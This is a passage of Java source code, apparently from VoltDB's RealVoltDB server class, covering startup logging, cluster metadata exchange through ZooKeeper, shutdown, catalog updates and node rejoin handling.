String startActionLog = "Database start action is " + (startAction.substring(0, 1).toUpperCase() +
startAction.substring(1).toLowerCase()) + ".";
if (!m_rejoining) {
hostLog.info(startActionLog);
}
hostLog.info("PID of this Volt process is " + CLibrary.getpid());
// print out awesome network stuff
hostLog.info(String.format("Listening for native wire protocol clients on port %d.", m_config.m_port));
hostLog.info(String.format("Listening for admin wire protocol clients on port %d.", adminPort));
if (m_startMode == OperationMode.PAUSED) {
hostLog.info(String.format("Started in admin mode. Clients on port %d will be rejected in admin mode.", m_config.m_port));
}
if (m_config.m_replicationRole == ReplicationRole.REPLICA) {
consoleLog.info("Started as " + m_config.m_replicationRole.toString().toLowerCase() + " cluster. " +
"Clients can only call read-only procedures.");
}
if (httpPortExtraLogMessage != null) {
hostLog.info(httpPortExtraLogMessage);
}
if (httpPort != -1) {
hostLog.info(String.format("Local machine HTTP monitoring is listening on port %d.", httpPort));
}
else {
hostLog.info(String.format("Local machine HTTP monitoring is disabled."));
}
if (jsonEnabled) {
hostLog.info(String.format("Json API over HTTP enabled at path /api/1.0/, listening on port %d.", httpPort));
}
else {
hostLog.info("Json API disabled.");
}
// java heap size
long javamaxheapmem = ManagementFactory.getMemoryMXBean().getHeapMemoryUsage().getMax();
javamaxheapmem /= (1024 * 1024);
hostLog.info(String.format("Maximum usable Java heap set to %d mb.", javamaxheapmem));
// Computed minimum heap requirement
long minRqt = computeMinimumHeapRqt(MiscUtils.isPro(), m_catalogContext.tables.size(),
(m_iv2Initiators.size() - 1), m_configuredReplicationFactor);
hostLog.info("Minimum required Java heap for catalog and server config is " + minRqt + " MB.");
SortedMap<String, String> dbgMap = m_catalogContext.getDebuggingInfoFromCatalog();
for (String line : dbgMap.values()) {
hostLog.info(line);
}
// print out a bunch of useful system info
PlatformProperties pp = PlatformProperties.getPlatformProperties();
String[] lines = pp.toLogLines(getVersionString()).split("\n");
for (String line : lines) {
hostLog.info(line.trim());
}
hostLog.info("The internal DR cluster timestamp is " +
new Date(m_clusterCreateTime).toString() + ".");
final ZooKeeper zk = m_messenger.getZK();
ZKUtil.ByteArrayCallback operationModeFuture = new ZKUtil.ByteArrayCallback();
/*
* Publish our cluster metadata, and then retrieve the metadata
* for the rest of the cluster
*/
try {
zk.create(
VoltZK.cluster_metadata + "/" + m_messenger.getHostId(),
getLocalMetadata().getBytes("UTF-8"),
Ids.OPEN_ACL_UNSAFE,
CreateMode.EPHEMERAL,
new ZKUtil.StringCallback(),
null);
zk.getData(VoltZK.operationMode, false, operationModeFuture, null);
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Error creating \"/cluster_metadata\" node in ZK", true, e);
}
Map<Integer, String> clusterMetadata = new HashMap<>(0);
/*
* Spin and attempt to retrieve cluster metadata for all nodes in the cluster.
*/
Set<Integer> metadataToRetrieve = new HashSet<>(m_messenger.getLiveHostIds());
metadataToRetrieve.remove(m_messenger.getHostId());
while (!metadataToRetrieve.isEmpty()) {
Map<Integer, ZKUtil.ByteArrayCallback> callbacks = new HashMap<>();
for (Integer hostId : metadataToRetrieve) {
ZKUtil.ByteArrayCallback cb = new ZKUtil.ByteArrayCallback();
zk.getData(VoltZK.cluster_metadata + "/" + hostId, false, cb, null);
callbacks.put(hostId, cb);
}
for (Map.Entry<Integer, ZKUtil.ByteArrayCallback> entry : callbacks.entrySet()) {
try {
ZKUtil.ByteArrayCallback cb = entry.getValue();
Integer hostId = entry.getKey();
clusterMetadata.put(hostId, new String(cb.getData(), "UTF-8"));
metadataToRetrieve.remove(hostId);
} catch (KeeperException.NoNodeException e) {}
catch (Exception e) {
VoltDB.crashLocalVoltDB("Error retrieving cluster metadata", true, e);
}
}
}
// print out cluster membership
hostLog.info("About to list cluster interfaces for all nodes with format [ip1 ip2 ... ipN] client-port,admin-port,http-port");
for (int hostId : m_messenger.getLiveHostIds()) {
if (hostId == m_messenger.getHostId()) {
hostLog.info(
String.format(
" Host id: %d with interfaces: %s [SELF]",
hostId,
MiscUtils.formatHostMetadataFromJSON(getLocalMetadata())));
}
else {
String hostMeta = clusterMetadata.get(hostId);
hostLog.info(
String.format(
" Host id: %d with interfaces: %s [PEER]",
hostId,
MiscUtils.formatHostMetadataFromJSON(hostMeta)));
}
}
try {
if (operationModeFuture.getData() != null) {
String operationModeStr = new String(operationModeFuture.getData(), "UTF-8");
m_startMode = OperationMode.valueOf(operationModeStr);
}
} catch (KeeperException.NoNodeException e) {}
catch (Exception e) {
throw new RuntimeException(e);
}
}
public static String[] extractBuildInfo(VoltLogger logger) {
StringBuilder sb = new StringBuilder(64);
try {
InputStream buildstringStream =
ClassLoader.getSystemResourceAsStream("buildstring.txt");
if (buildstringStream != null) {
byte b;
while ((b = (byte) buildstringStream.read()) != -1) {
sb.append((char)b);
}
String parts[] = sb.toString().split(" ", 2);
if (parts.length == 2) {
parts[0] = parts[0].trim();
parts[1] = parts[0] + "_" + parts[1].trim();
return parts;
}
}
} catch (Exception ignored) {
}
try {
InputStream versionstringStream = new FileInputStream("version.txt");
try {
byte b;
while ((b = (byte) versionstringStream.read()) != -1) {
sb.append((char)b);
}
return new String[] { sb.toString().trim(), "VoltDB" };
} finally {
versionstringStream.close();
}
}
catch (Exception ignored2) {
if (logger != null) {
logger.l7dlog(Level.ERROR, LogKeys.org_voltdb_VoltDB_FailedToRetrieveBuildString.name(), null);
}
return new String[] { m_defaultVersionString, "VoltDB" };
}
}
@Override
public void readBuildInfo(String editionTag) {
String buildInfo[] = extractBuildInfo(hostLog);
m_versionString = buildInfo[0];
m_buildString = buildInfo[1];
String buildString = m_buildString;
if (m_buildString.contains("_"))
buildString = m_buildString.split("_", 2)[1];
consoleLog.info(String.format("Build: %s %s %s", m_versionString, buildString, editionTag));
}
void logSystemSettingFromCatalogContext() {
if (m_catalogContext == null) {
return;
}
Deployment deploy = m_catalogContext.cluster.getDeployment().get("deployment");
Systemsettings sysSettings = deploy.getSystemsettings().get("systemsettings");
if (sysSettings == null) {
return;
}
hostLog.info("Elastic duration set to " + sysSettings.getElasticduration() + " milliseconds");
hostLog.info("Elastic throughput set to " + sysSettings.getElasticthroughput() + " mb/s");
hostLog.info("Max temptable size set to " + sysSettings.getTemptablemaxsize() + " mb");
hostLog.info("Snapshot priority set to " + sysSettings.getSnapshotpriority() + " [0 - 10]");
if (sysSettings.getQuerytimeout() > 0) {
hostLog.info("Query timeout set to " + sysSettings.getQuerytimeout() + " milliseconds");
m_config.m_queryTimeout = sysSettings.getQuerytimeout();
}
else if (sysSettings.getQuerytimeout() == 0) {
hostLog.info("Query timeout set to unlimited");
m_config.m_queryTimeout = 0;
}
}
/**
* Start all the site's event loops. That's it.
*/
@Override
public void run() {
if (m_restoreAgent != null) {
// start restore process
m_restoreAgent.restore();
}
else {
onRestoreCompletion(Long.MIN_VALUE, m_iv2InitiatorStartingTxnIds);
}
// Start the rejoin coordinator
if (m_joinCoordinator != null) {
try {
m_statusTracker.setNodeState(NodeState.REJOINING);
if (!m_joinCoordinator.startJoin(m_catalogContext.database)) {
VoltDB.crashLocalVoltDB("Failed to join the cluster", true, null);
}
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Failed to join the cluster", true, e);
}
}
m_isRunning = true;
}
/**
* Try to shut everything down so they system is ready to call
* initialize again.
* @param mainSiteThread The thread that m_inititalized the VoltDB or
* null if called from that thread.
*/
@Override
public boolean shutdown(Thread mainSiteThread) throws InterruptedException {
synchronized(m_startAndStopLock) {
boolean did_it = false;
if (m_mode != OperationMode.SHUTTINGDOWN) {
did_it = true;
m_mode = OperationMode.SHUTTINGDOWN;
/*
* Various scheduled tasks get crashy in unit tests if they happen to run
* while other stuff is being shut down
*/
for (ScheduledFuture<?> sc : m_periodicWorks) {
sc.cancel(false);
try {
sc.get();
} catch (Throwable t) {}
}
//Shutdown import processors.
ImportManager.instance().shutdown();
m_periodicWorks.clear();
m_snapshotCompletionMonitor.shutdown();
m_periodicWorkThread.shutdown();
m_periodicWorkThread.awaitTermination(356, TimeUnit.DAYS);
m_periodicPriorityWorkThread.shutdown();
m_periodicPriorityWorkThread.awaitTermination(356, TimeUnit.DAYS);
if (m_elasticJoinService != null) {
m_elasticJoinService.shutdown();
}
if (m_leaderAppointer != null) {
m_leaderAppointer.shutdown();
}
m_globalServiceElector.shutdown();
if (m_hasStartedSampler.get()) {
m_sampler.setShouldStop();
m_sampler.join();
}
// shutdown the web monitoring / json
if (m_adminListener != null)
m_adminListener.stop();
// shut down the client interface
if (m_clientInterface != null) {
m_clientInterface.shutdown();
m_clientInterface = null;
}
// tell the iv2 sites to stop their runloop
if (m_iv2Initiators != null) {
for (Initiator init : m_iv2Initiators.values())
init.shutdown();
}
if (m_cartographer != null) {
m_cartographer.shutdown();
}
if (m_configLogger != null) {
m_configLogger.join();
}
// shut down Export and its connectors.
ExportManager.instance().shutdown();
// After sites are terminated, shutdown the DRProducer.
// The DRProducer is shared by all sites; don't kill it while any site is active.
if (m_producerDRGateway != null) {
try {
m_producerDRGateway.shutdown();
} catch (InterruptedException e) {
hostLog.warn("Interrupted shutting down invocation buffer server", e);
}
finally {
m_producerDRGateway = null;
}
}
shutdownReplicationConsumerRole();
if (m_snapshotIOAgent != null) {
m_snapshotIOAgent.shutdown();
}
// shut down the network/messaging stuff
// Close the host messenger first, which should close down all of
// the ForeignHost sockets cleanly
if (m_messenger != null)
{
m_messenger.shutdown();
}
m_messenger = null;
//Also for test code that expects a fresh stats agent
if (m_opsRegistrar != null) {
try {
m_opsRegistrar.shutdown();
}
finally {
m_opsRegistrar = null;
}
}
if (m_asyncCompilerAgent != null) {
m_asyncCompilerAgent.shutdown();
m_asyncCompilerAgent = null;
}
ExportManager.instance().shutdown();
m_computationService.shutdown();
m_computationService.awaitTermination(1, TimeUnit.DAYS);
m_computationService = null;
m_catalogContext = null;
m_initiatorStats = null;
m_latencyStats = null;
m_latencyHistogramStats = null;
AdHocCompilerCache.clearHashCache();
org.voltdb.iv2.InitiatorMailbox.m_allInitiatorMailboxes.clear();
PartitionDRGateway.m_partitionDRGateways = ImmutableMap.of();
// probably unnecessary, but for tests it's nice because it
// will do the memory checking and run finalizers
System.gc();
System.runFinalization();
m_isRunning = false;
}
return did_it;
}
}
/** Last transaction ID at which the logging config updated.
* Also, use the intrinsic lock to safeguard access from multiple
* execution site threads */
private static Long lastLogUpdate_txnId = 0L;
@Override
synchronized public void logUpdate(String xmlConfig, long currentTxnId)
{
// another site already did this work.
if (currentTxnId == lastLogUpdate_txnId) {
return;
}
else if (currentTxnId < lastLogUpdate_txnId) {
throw new RuntimeException(
"Trying to update logging config at transaction " + lastLogUpdate_txnId
+ " with an older transaction: " + currentTxnId);
}
hostLog.info("Updating RealVoltDB logging config from txnid: " +
lastLogUpdate_txnId + " to " + currentTxnId);
lastLogUpdate_txnId = currentTxnId;
VoltLogger.configure(xmlConfig);
}
/** Struct to associate a context with a counter of served sites */
private static class ContextTracker {
ContextTracker(CatalogContext context, CatalogSpecificPlanner csp) {
m_dispensedSites = 1;
m_context = context;
m_csp = csp;
}
long m_dispensedSites;
final CatalogContext m_context;
final CatalogSpecificPlanner m_csp;
}
/** Associate transaction ids to contexts */
private final HashMap<Long, ContextTracker>m_txnIdToContextTracker =
new HashMap<>();
@Override
public Pair<CatalogContext, CatalogSpecificPlanner> catalogUpdate(
String diffCommands,
byte[] newCatalogBytes,
byte[] catalogBytesHash,
int expectedCatalogVersion,
long currentTxnId,
long currentTxnUniqueId,
byte[] deploymentBytes,
byte[] deploymentHash)
{
try {
synchronized(m_catalogUpdateLock) {
m_statusTracker.setNodeState(NodeState.UPDATING);
// A site is catching up with catalog updates
if (currentTxnId <= m_catalogContext.m_transactionId && !m_txnIdToContextTracker.isEmpty()) {
ContextTracker contextTracker = m_txnIdToContextTracker.get(currentTxnId);
// This 'dispensed' concept is a little crazy fragile. Maybe it would be better
// to keep a rolling N catalogs? Or perhaps to keep catalogs for N minutes? Open
// to opinions here.
contextTracker.m_dispensedSites++;
int ttlsites = VoltDB.instance().getSiteTrackerForSnapshot().getSitesForHost(m_messenger.getHostId()).size();
if (contextTracker.m_dispensedSites == ttlsites) {
m_txnIdToContextTracker.remove(currentTxnId);
}
return Pair.of( contextTracker.m_context, contextTracker.m_csp);
}
else if (m_catalogContext.catalogVersion != expectedCatalogVersion) {
hostLog.fatal("Failed catalog update." +
" expectedCatalogVersion: " + expectedCatalogVersion +
" currentTxnId: " + currentTxnId +
" currentTxnUniqueId: " + currentTxnUniqueId +
" m_catalogContext.catalogVersion " + m_catalogContext.catalogVersion);
throw new RuntimeException("Trying to update main catalog context with diff " +
"commands generated for an out-of date catalog. Expected catalog version: " +
expectedCatalogVersion + " does not match actual version: " + m_catalogContext.catalogVersion);
}
hostLog.info(String.format("Globally updating the current application catalog and deployment " +
"(new hashes %s, %s).",
Encoder.hexEncode(catalogBytesHash).substring(0, 10),
Encoder.hexEncode(deploymentHash).substring(0, 10)));
// get old debugging info
SortedMap<String, String> oldDbgMap = m_catalogContext.getDebuggingInfoFromCatalog();
byte[] oldDeployHash = m_catalogContext.deploymentHash;
// 0. A new catalog! Update the global context and the context tracker
m_catalogContext =
m_catalogContext.update(
currentTxnId,
currentTxnUniqueId,
newCatalogBytes,
catalogBytesHash,
diffCommands,
true,
deploymentBytes);
final CatalogSpecificPlanner csp = new CatalogSpecificPlanner( m_asyncCompilerAgent, m_catalogContext);
m_txnIdToContextTracker.put(currentTxnId,
new ContextTracker(
m_catalogContext,
csp));
// log the stuff that's changed in this new catalog update
SortedMap<String, String> newDbgMap = m_catalogContext.getDebuggingInfoFromCatalog();
for (Entry<String, String> e : newDbgMap.entrySet()) {
// skip log lines that are unchanged
if (oldDbgMap.containsKey(e.getKey()) && oldDbgMap.get(e.getKey()).equals(e.getValue())) {
continue;
}
hostLog.info(e.getValue());
}
//Construct the list of partitions and sites because it simply doesn't exist anymore
SiteTracker siteTracker = VoltDB.instance().getSiteTrackerForSnapshot();
List<Long> sites = siteTracker.getSitesForHost(m_messenger.getHostId());
List<Integer> partitions = new ArrayList<>();
for (Long site : sites) {
Integer partition = siteTracker.getPartitionForSite(site);
partitions.add(partition);
}
// 1. update the export manager.
ExportManager.instance().updateCatalog(m_catalogContext, partitions);
// 1.1 Update the elastic join throughput settings
if (m_elasticJoinService != null) m_elasticJoinService.updateConfig(m_catalogContext);
// 1.5 update the dead host timeout
if (m_catalogContext.cluster.getHeartbeattimeout() * 1000 != m_config.m_deadHostTimeoutMS) {
m_config.m_deadHostTimeoutMS = m_catalogContext.cluster.getHeartbeattimeout() * 1000;
m_messenger.setDeadHostTimeout(m_config.m_deadHostTimeoutMS);
}
// 2. update client interface (asynchronously)
// CI in turn updates the planner thread.
if (m_clientInterface != null) {
m_clientInterface.notifyOfCatalogUpdate();
}
// 3. update HTTPClientInterface (asynchronously)
// This purges cached connection state so that access with
// stale auth info is prevented.
if (m_adminListener != null)
{
m_adminListener.notifyOfCatalogUpdate();
}
// 4. Flush StatisticsAgent old catalog statistics.
// Otherwise, the stats agent will hold all old catalogs
// in memory.
getStatsAgent().notifyOfCatalogUpdate();
// 5. MPIs don't run fragments. Update them here. Do
// this after flushing the stats -- this will re-register
// the MPI statistics.
if (m_MPI != null) {
m_MPI.updateCatalog(diffCommands, m_catalogContext, csp);
}
// Update catalog for import processor this should be just/stop start and updat partitions.
ImportManager.instance().updateCatalog(m_catalogContext, m_messenger);
// 6. Perform updates required by the DR subsystem
// 6.1. Create the DR consumer if we've just enabled active-active.
// Perform any actions that would have been taken during the ordinary
// initialization path
if (createDRConsumerIfNeeded()) {
for (int pid : m_cartographer.getPartitions()) {
// Notify the consumer of leaders because it was disabled before
ClientInterfaceRepairCallback callback = (ClientInterfaceRepairCallback) m_consumerDRGateway;
callback.repairCompleted(pid, m_cartographer.getHSIdForMaster(pid));
}
m_consumerDRGateway.initialize(false);
}
// 6.2. If we are a DR replica, we may care about a
// deployment update
if (m_consumerDRGateway != null) {
m_consumerDRGateway.updateCatalog(m_catalogContext);
}
// 6.3. If we are a DR master, update the DR table signature hash
if (m_producerDRGateway != null) {
m_producerDRGateway.updateCatalog(m_catalogContext,
VoltDB.getReplicationPort(m_catalogContext.cluster.getDrproducerport()));
}
new ConfigLogging().logCatalogAndDeployment();
// log system setting information if the deployment config has changed
if (!Arrays.equals(oldDeployHash, m_catalogContext.deploymentHash)) {
logSystemSettingFromCatalogContext();
}
// restart resource usage monitoring task
startResourceUsageMonitor();
checkHeapSanity(MiscUtils.isPro(), m_catalogContext.tables.size(),
(m_iv2Initiators.size() - 1), m_configuredReplicationFactor);
checkThreadsSanity();
return Pair.of(m_catalogContext, csp);
}
} finally {
//Set state back to UP
m_statusTracker.setNodeState(NodeState.UP);
}
}
@Override
public Pair<CatalogContext, CatalogSpecificPlanner> settingsUpdate(
ClusterSettings settings, final int expectedVersionId)
{
CatalogSpecificPlanner csp = new CatalogSpecificPlanner(m_asyncCompilerAgent, m_catalogContext);
synchronized(m_catalogUpdateLock) {
int stamp [] = new int[]{0};
ClusterSettings expect = m_clusterSettings.get(stamp);
if ( stamp[0] == expectedVersionId
&& m_clusterSettings.compareAndSet(expect, settings, stamp[0], expectedVersionId+1)
) {
try {
settings.store();
} catch (SettingsException e) {
hostLog.error(e);
throw e;
}
} else if (stamp[0] != expectedVersionId+1) {
String msg = "Failed to update cluster setting to version " + (expectedVersionId + 1)
+ ", from current version " + stamp[0] + ". Reloading from Zookeeper";
hostLog.warn(msg);
m_clusterSettings.load(m_messenger.getZK());
}
if (m_MPI != null) {
m_MPI.updateSettings(m_catalogContext, csp);
}
// good place to set deadhost timeout once we make it a config
}
return Pair.of(m_catalogContext, csp);
}
@Override
public VoltDB.Configuration getConfig() {
return m_config;
}
@Override
public String getBuildString() {
return m_buildString == null ? "VoltDB" : m_buildString;
}
@Override
public String getVersionString() {
return m_versionString;
}
public final VersionChecker m_versionChecker = new VersionChecker() {
@Override
public boolean isCompatibleVersionString(String other) {
return RealVoltDB.this.isCompatibleVersionString(other);
}
@Override
public String getVersionString() {
return RealVoltDB.this.getVersionString();
}
@Override
public String getBuildString() {
return RealVoltDB.this.getBuildString();
}
};
/**
* Used for testing when you don't have an instance. Should do roughly what
* {@link #isCompatibleVersionString(String)} does.
*/
public static boolean staticIsCompatibleVersionString(String versionString) {
return versionString.matches(m_defaultHotfixableRegexPattern);
}
@Override
public boolean isCompatibleVersionString(String versionString) {
return versionString.matches(m_hotfixableRegexPattern);
}
@Override
public String getEELibraryVersionString() {
return m_defaultVersionString;
}
@Override
public HostMessenger getHostMessenger() {
return m_messenger;
}
@Override
public ClientInterface getClientInterface() {
return m_clientInterface;
}
@Override
public OpsAgent getOpsAgent(OpsSelector selector) {
return m_opsRegistrar.getAgent(selector);
}
@Override
public StatsAgent getStatsAgent() {
OpsAgent statsAgent = m_opsRegistrar.getAgent(OpsSelector.STATISTICS);
assert(statsAgent instanceof StatsAgent);
return (StatsAgent)statsAgent;
}
@Override
public MemoryStats getMemoryStatsSource() {
return m_memoryStats;
}
@Override
public CatalogContext getCatalogContext() {
return m_catalogContext;
}
/**
* Tells if the VoltDB is running. m_isRunning needs to be set to true
* when the run() method is called, and set to false when shutting down.
*
* @return true if the VoltDB is running.
*/
@Override
public boolean isRunning() {
return m_isRunning;
}
@Override
public void halt() {
Thread shutdownThread = new Thread() {
@Override
public void run() {
hostLog.warn("VoltDB node shutting down as requested by @StopNode command.");
System.exit(0);
}
};
shutdownThread.start();
}
/**
* Debugging function - creates a record of the current state of the system.
* @param out PrintStream to write report to.
*/
public void createRuntimeReport(PrintStream out) {
// This function may be running in its own thread.
out.print("MIME-Version: 1.0\n");
out.print("Content-type: multipart/mixed; boundary=\"reportsection\"");
out.print("\n\n--reportsection\nContent-Type: text/plain\n\nClientInterface Report\n");
if (m_clientInterface != null) {
out.print(m_clientInterface.toString() + "\n");
}
}
@Override
public BackendTarget getBackendTargetType() {
return m_config.m_backend;
}
@Override
public synchronized void onExecutionSiteRejoinCompletion(long transferred) {
m_executionSiteRecoveryFinish = System.currentTimeMillis();
m_executionSiteRecoveryTransferred = transferred;
onRejoinCompletion();
}
private void onRejoinCompletion() {
// null out the rejoin coordinator
if (m_joinCoordinator != null) {
m_joinCoordinator.close();
}
m_joinCoordinator = null;
// Mark the data transfer as done so CL can make the right decision when a truncation snapshot completes
m_rejoinDataPending = false;
try {
m_testBlockRecoveryCompletion.acquire();
} catch (InterruptedException e) {}
final long delta = ((m_executionSiteRecoveryFinish - m_recoveryStartTime) / 1000);
final long megabytes = m_executionSiteRecoveryTransferred / (1024 * 1024);
final double megabytesPerSecond = megabytes / ((m_executionSiteRecoveryFinish - m_recoveryStartTime) / 1000.0);
if (m_clientInterface != null) {
m_clientInterface.mayActivateSnapshotDaemon();
try {
m_clientInterface.startAcceptingConnections();
} catch (IOException e) {
hostLog.l7dlog(Level.FATAL,
LogKeys.host_VoltDB_ErrorStartAcceptingConnections.name(),
e);
VoltDB.crashLocalVoltDB("Error starting client interface.", true, e);
}
if (m_producerDRGateway != null && !m_producerDRGateway.isStarted()) {
// Start listening on the DR ports
prepareReplication();
}
}
startResourceUsageMonitor();
try {
if (m_adminListener != null) {
m_adminListener.start();
}
} catch (Exception e) {
hostLog.l7dlog(Level.FATAL, LogKeys.host_VoltDB_ErrorStartHTTPListener.name(), e);
VoltDB.crashLocalVoltDB("HTTP service unable to bind to port.", true, e);
}
// Allow export datasources to start consuming their binary deques safely
// as at this juncture the initial truncation snapshot is already complete
ExportManager.instance().startPolling(m_catalogContext);
//Tell import processors that they can start ingesting data.
ImportManager.instance().readyForData(m_catalogContext, m_messenger);
if (m_config.m_startAction == StartAction.REJOIN) {
consoleLog.info(
"Node data recovery completed after " + delta + " seconds with " + megabytes +
" megabytes transferred at a rate of " +
megabytesPerSecond + " megabytes/sec");
}
try {
final ZooKeeper zk = m_messenger.getZK();
boolean logRecoveryCompleted = false;
if (getCommandLog().getClass().getName().equals("org.voltdb.CommandLogImpl")) {
String requestNode = zk.create(VoltZK.request_truncation_snapshot_node, null,
Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT_SEQUENTIAL);
if (m_rejoinTruncationReqId == null) {
m_rejoinTruncationReqId = requestNode;
}
} else {
logRecoveryCompleted = true;
}
// Join creates a truncation snapshot as part of the join process,
// so there is no need to wait for the truncation snapshot requested
// above to finish.
if (logRecoveryCompleted || m_joining) {
if (m_rejoining) {
CoreZK.removeRejoinNodeIndicatorForHost(m_messenger.getZK(), m_myHostId);
m_rejoining = false;
}
String actionName = m_joining ? "join" : "rejoin";
m_joining = false;
consoleLog.info(String.format("Node %s completed", actionName));
}
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Unable to log host rejoin completion to ZK", true, e);
}
hostLog.info("Logging host rejoin completion to ZK");
m_statusTracker.setNodeState(NodeState.UP);
Object args[] = { (VoltDB.instance().getMode() == OperationMode.PAUSED) ? "PAUSED" : "NORMAL"};
consoleLog.l7dlog( Level.INFO, LogKeys.host_VoltDB_ServerOpMode.name(), args, null);
consoleLog.l7dlog( Level.INFO, LogKeys.host_VoltDB_ServerCompletedInitialization.name(), null, null);
}
@Override
public CommandLog getCommandLog() {
return m_commandLog;
}
@Override
public OperationMode getMode()
{
return m_mode;
}
@Override
public void setMode(OperationMode mode)
{
if (m_mode != mode)
{
if (mode == OperationMode.PAUSED)
{
m_config.m_isPaused = true;
m_statusTracker.setNodeState(NodeState.PAUSED);
hostLog.info("Server is entering admin mode and pausing.");
}
else if (m_mode == OperationMode.PAUSED)
{
m_config.m_isPaused = false;
m_statusTracker.setNodeState(NodeState.UP);
hostLog.info("Server is exiting admin mode and resuming operation.");
}
}
m_mode = mode;
}
@Override
public void setStartMode(OperationMode mode) {
m_startMode = mode;
}
@Override
public OperationMode getStartMode()
{
return m_startMode;
}
@Override
public void setReplicationRole(ReplicationRole role)
{
if (role == ReplicationRole.NONE && m_config.m_replicationRole == ReplicationRole.REPLICA) {
consoleLog.info("Promoting replication role from replica to master.");
hostLog.info("Promoting replication role from replica to master.");
shutdownReplicationConsumerRole();
getStatsAgent().deregisterStatsSourcesFor(StatsSelector.DRCONSUMERNODE, 0);
getStatsAgent().deregisterStatsSourcesFor(StatsSelector.DRCONSUMERPARTITION, 0);
getStatsAgent().registerStatsSource(StatsSelector.DRCONSUMERNODE, 0,
new DRConsumerStatsBase.DRConsumerNodeStatsBase());
getStatsAgent().registerStatsSource(StatsSelector.DRCONSUMERPARTITION, 0,
new DRConsumerStatsBase.DRConsumerPartitionStatsBase());
}
m_config.m_replicationRole = role;
if (m_clientInterface != null) {
m_clientInterface.setReplicationRole(m_config.m_replicationRole);
}
}
private void shutdownReplicationConsumerRole() {
if (m_consumerDRGateway != null) {
try {
m_consumerDRGateway.shutdown(true);
} catch (InterruptedException e) {
hostLog.warn("Interrupted shutting down dr replication", e);
}
finally {
m_consumerDRGateway = null;
}
}
}
@Override
public ReplicationRole getReplicationRole()
{
return m_config.m_replicationRole;
}
/**
* Metadata is a JSON object
*/
@Override
public String getLocalMetadata() {
return m_localMetadata;
}
@Override
public void onRestoreCompletion(long txnId, Map<Integer, Long> perPartitionTxnIds) {
/*
* Command log is already initialized if this is a rejoin or a join
*/
if ((m_commandLog != null) && (m_commandLog.needsInitialization())) {
// Initialize command logger
m_commandLog.init(m_catalogContext.cluster.getLogconfig().get("log").getLogsize(),
txnId, m_cartographer.getPartitionCount(),
m_config.m_commandLogBinding,
perPartitionTxnIds);
try {
ZKCountdownLatch latch =
new ZKCountdownLatch(m_messenger.getZK(),
VoltZK.commandlog_init_barrier, m_messenger.getLiveHostIds().size());
latch.countDown(true);
latch.await();
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Failed to init and wait on command log init barrier", true, e);
}
}
/*
* IV2: After the command log is initialized, force the writing of the initial
* viable replay set. Turns into a no-op with no command log, on the non-leader sites, and on the MPI.
*/
for (Initiator initiator : m_iv2Initiators.values()) {
initiator.enableWritingIv2FaultLog();
}
/*
* IV2: From this point on, not all node failures should crash global VoltDB.
*/
if (m_leaderAppointer != null) {
m_leaderAppointer.onReplayCompletion();
}
if (m_startMode != null) {
m_mode = m_startMode;
} else {
// Shouldn't be here, but to be safe
m_mode = OperationMode.RUNNING;
}
if (!m_rejoining && !m_joining) {
if (m_clientInterface != null) {
try {
m_clientInterface.startAcceptingConnections();
} catch (IOException e) {
hostLog.l7dlog(Level.FATAL,
LogKeys.host_VoltDB_ErrorStartAcceptingConnections.name(),
e);
VoltDB.crashLocalVoltDB("Error starting client interface.", true, e);
}
}
// Start listening on the DR ports
prepareReplication();
startResourceUsageMonitor();
// Allow export datasources to start consuming their binary deques safely
// as at this juncture the initial truncation snapshot is already complete
ExportManager.instance().startPolling(m_catalogContext);
//Tell import processors that they can start ingesting data.
ImportManager.instance().readyForData(m_catalogContext, m_messenger);
}
try {
if (m_adminListener != null) {
m_adminListener.start();
}
} catch (Exception e) {
hostLog.l7dlog(Level.FATAL, LogKeys.host_VoltDB_ErrorStartHTTPListener.name(), e);
VoltDB.crashLocalVoltDB("HTTP service unable to bind to port.", true, e);
}
if (!m_rejoining && !m_joining) {
Object args[] = { (m_mode == OperationMode.PAUSED) ? "PAUSED" : "NORMAL"};
consoleLog.l7dlog( Level.INFO, LogKeys.host_VoltDB_ServerOpMode.name(), args, null);
consoleLog.l7dlog( Level.INFO, LogKeys.host_VoltDB_ServerCompletedInitialization.name(), null, null);
}
// Create a zk node to indicate initialization is completed
m_messenger.getZK().create(VoltZK.init_completed, null, Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT, new ZKUtil.StringCallback(), null);
m_statusTracker.setNodeState(NodeState.UP);
}
@Override
public SnapshotCompletionMonitor getSnapshotCompletionMonitor() {
return m_snapshotCompletionMonitor;
}
@Override
public synchronized void recoveryComplete(String requestId) {
assert(m_rejoinDataPending == false);
if (m_rejoining) {
if (m_rejoinTruncationReqId.compareTo(requestId) <= 0) {
String actionName = m_joining ? "join" : "rejoin";
// remove the rejoin blocker
CoreZK.removeRejoinNodeIndicatorForHost(m_messenger.getZK(), m_myHostId);
consoleLog.info(String.format("Node %s completed", actionName));
m_rejoinTruncationReqId = null;
m_rejoining = false;
}
else {
// If we saw some other truncation request ID, then try the same one again. As long as we
// don't flip the m_rejoining state, all truncation snapshot completions will call back to here.
try {
final ZooKeeper zk = m_messenger.getZK();
String requestNode = zk.create(VoltZK.request_truncation_snapshot_node, null,
Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT_SEQUENTIAL);
if (m_rejoinTruncationReqId == null) {
m_rejoinTruncationReqId = requestNode;
}
}
catch (Exception e) {
VoltDB.crashLocalVoltDB("Unable to retry post-rejoin truncation snapshot request.", true, e);
}
}
}
}
@Override
public ScheduledExecutorService getSES(boolean priority) {
return priority ? m_periodicPriorityWorkThread : m_periodicWorkThread;
}
/**
* See comment on {@link VoltDBInterface#scheduleWork(Runnable, long, long, TimeUnit)} vs
* {@link VoltDBInterface#schedulePriorityWork(Runnable, long, long, TimeUnit)}
*/
@Override
public ScheduledFuture<?> scheduleWork(Runnable work,
long initialDelay,
long delay,
TimeUnit unit) {
if (delay > 0) {
return m_periodicWorkThread.scheduleWithFixedDelay(work,
initialDelay, delay,
unit);
} else {
return m_periodicWorkThread.schedule(work, initialDelay, unit);
}
}
@Override
public ListeningExecutorService getComputationService() {
return m_computationService;
}
private void prepareReplication() {
try {
if (m_producerDRGateway != null) {
m_producerDRGateway.initialize(m_catalogContext.cluster.getDrproducerenabled(),
VoltDB.getReplicationPort(m_catalogContext.cluster.getDrproducerport()),
VoltDB.getDefaultReplicationInterface());
}
if (m_consumerDRGateway != null) {
m_consumerDRGateway.initialize(m_config.m_startAction != StartAction.CREATE);
}
